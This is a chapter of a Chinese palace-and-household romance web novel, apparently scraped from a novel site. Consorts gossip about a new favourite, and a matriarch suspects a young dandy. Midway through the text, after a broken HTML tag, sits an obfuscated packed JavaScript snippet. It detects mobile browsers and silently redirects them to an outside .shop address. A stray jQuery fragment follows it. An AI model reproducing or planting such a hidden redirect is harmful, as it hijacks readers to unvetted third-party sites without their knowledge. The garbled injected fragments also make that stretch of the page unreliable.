文趣网 > 都市小说 > 她的小纨绔 > 7. 007
    第7章

    荣老夫人在宜春侯府是横行惯了的,毕竟是当家主母,而且夫君又是宜春侯,所有的儿媳都不敢招惹她,再往大了说,就是整个宜春侯府都敬重她,不敢招惹她。

    她说一,就没人敢反驳二。

    可是如今却被谢怀庆那个纨绔给气的不轻,但是她又不能发作,因为她知道整个郭家还是宜春侯郭镛说了算,她可以在郭镛跟前说郭贞玉狂悖、不听话,惹麻烦,但是她不能说谢怀庆。

    因为她知道郭镛非常在意谢怀庆。

    至于为什么在意,她也说不出个一二三,但是凭借她多年的后宅当家主母的直觉,她觉得郭镛对谢怀庆太过特别了,甚至有些敬重。

    她了解自己的夫君,不会无缘无故的敬重一个纨绔。

    所以,她只能把气洒在旁人身上,这个人最好是把婚事作没了郭贞玉,但是郭贞玉又被谢怀庆给拉走了,所以荣老夫人就把气洒在了郭贞玉的母亲冯氏身上。故意让冯氏站着布菜,一会说冷了,一会说了烫了。

    这般严苛的规矩,确实如谢怀庆所说的,就连宫里也没这般。

    宫里没有皇后,最高的就是妃位,妃里最高的就是生下二殿下的纯妃。

    纯妃的父亲出公差时,恰好得了些上好的澄阳湖大闸蟹,就托人送来了纯妃的同心堂。

    纯妃是个性子很好的女人,得了这大闸蟹倒也不小气,蒸好后,就立刻差人邀了凝嫔和荣昭仪来一同赏菊吃蟹。

    荣昭仪性子活泼,高兴地同纯妃说着江南的旧事,其实这些事儿已经说了很多遍了。但是宫里就是这样,寡淡而无趣,事情要一遍遍麻木的说,麻木的听。

    倒是凝嫔这回听的不怎么认真,欲言又止的沉默了半晌,又痴痴地看着纯妃宫里六足香炉里燃着的香片,终是忍不住了,缓缓道:“这香片真好闻,清清冷冷的,跟冬日的雪一般,让人心旷人怡。”

    纯妃听了这句,淡淡笑了笑,她知道凝嫔这是话里有话,但也摸不准她到底想说什么,索性实事求是道:“前个儿,圣上赐的。”

    毕竟是有儿子的唯一妃子,暂代住持六宫的,得赏赐是应该的。

    凝嫔一笑,并没有吃醋这赏赐的香片,而且故意接下话题,“纯妃娘娘您得了这香片,是正理儿,您说新来那狐媚子算什么!才来了几日,就晋了才人,还得了封号。听说年纪还不小了。”

    凝嫔向来是个实际性子,不见兔子不撒鹰的,经常是故意人前友好,背后就捅刀子那等人。

    荣昭仪听了,颔首,不以为然道:“宫里都是多年前的旧人,总归春日里的新花才好看,毕竟子嗣还是重要的。”

    凝嫔这才话锋一转,皱眉继续道:“我听说,她偷偷给圣上用了香丸,能暖情。”

    荣昭仪皱眉,用帕子捂住唇,眼睛里却全是惊诧,朝着纯妃问道:“纯妃姐姐是承宠最多的,圣上现在可是需要那东西?”

    纯妃面色一红,她脑中浮现出早些年与圣上榻上的光景,“圣上并非那等需要用药的人,许是为了承宠。”

    凝嫔听了,皱眉淬道:“真是个狐狸精,为了留住圣上,居然这般不分轻重,若是给弄坏了,宫中姐妹们……”

    纯妃听了这句,对凝嫔闪过几丝怜悯,宫中的女子就是这般,指望着有个一儿半女的过活,凝嫔先前得了一女,但因为春寒夭折了,如今想要,却年纪也大了些。

    她和荣昭仪倒还好,至少荣昭仪有一女,她有二殿下李景宜。

    “这些,想必东厂那边会查出来的,到时候圣上自然知道,我们还是少插手这些,免得惹人心烦。”荣昭仪看着纯妃,小声说了一句。

    凝嫔想要再多说几句,但是找不到话题,也就皱眉走了。

    待凝嫔走了,荣昭仪才又跟纯妃说起了悄悄话,“听说二殿下跟宜春侯府的二姑娘起了争执?这婚事当真不做数了?圣上不是应允了?”

    纯妃用香花瓣子水洗了洗手,面色依旧柔和,一双圆润的眸子挂着可惜,“谁说不是呢,好好的姑娘,我倒是中意,但是景宜这孩子不愿意。”

    荣昭仪点了点头,朝着纯妃道:“要我说呢,这什么旺夫命都是噱头,怎么她就旺夫命了?不过就是侯府里一小丫头片子,有什么真本事!哪里就偏生这般声名在外的。”

    “这谁管,家世不错,长得很好,再有个声名,也就是好儿媳了,就是瞧着性子有些别扭,似乎是脾气太大了些。”纯妃性子不错,但是只要站在婆母的层面上去看女孩儿,就难免带了些挑刺儿的成分。

    “好姑娘多的是,郭家那二姑娘也太跋扈了些,什么东西。”荣昭仪附和着纯妃,纯妃不想说的,她都替纯妃说出来。

    这就是为什么,她容貌一般,家世一般,却封了昭仪。

    见风使舵的本事,一流。

    而这句话却恰好被进门的李景宜听到,李景宜长眉皱的紧紧的,高挺的鼻梁也投下一抹暗影,脸色有些阴沉。

    他不乐意听这些,郭贞玉性子如何,与他如何,这是他与郭贞玉两人的事儿,便是打起来了,也不需要外人对他们指摘。

    即便这个人纯妃。

    纯妃看到自己儿子来了,顿时高兴的不行,忙用帕子擦干了手,笑着挽住了李景宜的胳膊,笑道:“好儿子,怎么不提前说一声,母妃给你留着大闸蟹呢。”

    李景宜没有回应,而是冷冷看向荣昭仪,纯妃见到儿子似乎对荣昭仪不怎么待见,便起身送荣昭仪走了。

    待进了门,才皱眉朝着李景宜缓缓道:“你这是又使什么性子,怎么好端端的跟荣昭仪甩上脸子了,她是咱们的人。”

    李景宜没有回应,黑沉的眸子里浮动着一抹复杂,喝了半盏茶,才淡淡道:“不乐意听她说郭贞玉。”

    纯妃听了,气的一乐,“相中的是你,跟人家争执的是你,怎么还不许说了?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938243|213775||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    李景宜转头看向纯妃,突然认真道:“郭贞玉不是那等跋扈的女子,她好着呢。就是我不喜欢她。”

    纯妃听了,沉默了半晌,看着李景宜的眉眼,轻声道:“那你中意谁?放着好好的旺夫命的不要。”

    李景宜也不回答,只是顶着一张英俊逼人的脸,看着纯妃,“母妃,等以后儿臣再同您说,只是不要再由着旁人说郭贞玉了。”

    纯妃点点头,袖子里的手却攥的紧紧的。

    原来宜春侯府二姑娘叫郭贞玉……只是不管什么玉,都不能抢走自己的儿子。

    在这宫里,她没什么好指望的,圣上不爱榻上之事,她唯一指望的就是自己儿子,不管是什么样的儿媳,坚决不能入儿子的心,她才是儿子心头第一重要的。

    夜渐渐深了,同心堂重新恢复了宁静,宜春侯府却灯火通明。

    荣老夫人靠在软榻上,身旁的张嬷嬷耐心的给她用盐袋子暖着膝盖,温热的艾草在盐袋子下面的小圆盒子里燃着,不时有啪啪的火星子声音。

    荣老夫人抬手揉着太阳穴,眼角的褶子微微挑着,“你说,这个谢怀庆什么来头?”

    张嬷嬷听了这话,手中捯饬盐袋子的动作微微一顿,“谢公子,不是谢阁老的外孙?”

    荣老夫人微微抬了抬膝盖,让膝盖与盐粒子更贴合,“是谢阁老的外孙,但是我总觉得老爷对谢怀庆太过上心了。”

    听到这话,张嬷嬷倒是没反应过来,有一瞬的愣神,怀疑是不是自己老耳昏花了,“大约是性子相投,侯爷不是那等人,跟谢阁老是同朝为官的,又交好,总不能去挖谢阁老的……”墙角。

    张嬷嬷刻意省略了墙角,但是她觉得荣老夫人有些过于捕风捉影了,再说了谢怀庆那等狂悖又无拘无束的性子,就压根不是宜春侯府这等根基能孕育出来的。

    宜春侯府的人都太过端着了,太小心翼翼了。

    荣老夫人也觉得是这个道理,喃喃道:“我向来也瞧不上这等不务正业、吃喝玩乐的富贵小子,但是这谢怀庆狂悖的有些过头了,似乎天地都管不了似的,怎么谢阁老这样端正严苛的,也治不了他。”

    张嬷嬷轻轻点头,“越是这样的人,骨头越硬,手段越高,之前倒是听说大魏能兴起,就是靠着这些不顺从、不听话的狂悖人。”

    若是轻易屈服,又怎么能有抗争的品性,怎么能在血雨腥风中挺过来。

    虽然不知道谢怀庆是不是这样能够维护正道,但最起码,这样的人,不应该得罪。

    思考间,就听荣老夫人眉目间挂了精明,朝着窗外的月亮,淡淡一句,“谢怀庆似乎对贞玉有些不同。”

    张嬷嬷听了这话,就想起了那被抓住的半截雪白的腕子,低声笑道:“都说郭二小姐最能治的住谢公子。”

    “嗯。”荣老夫人将发髻上的包头解下来,淡淡道:“你去海棠苑走一趟,让贞玉给谢怀庆送些桃子过去。”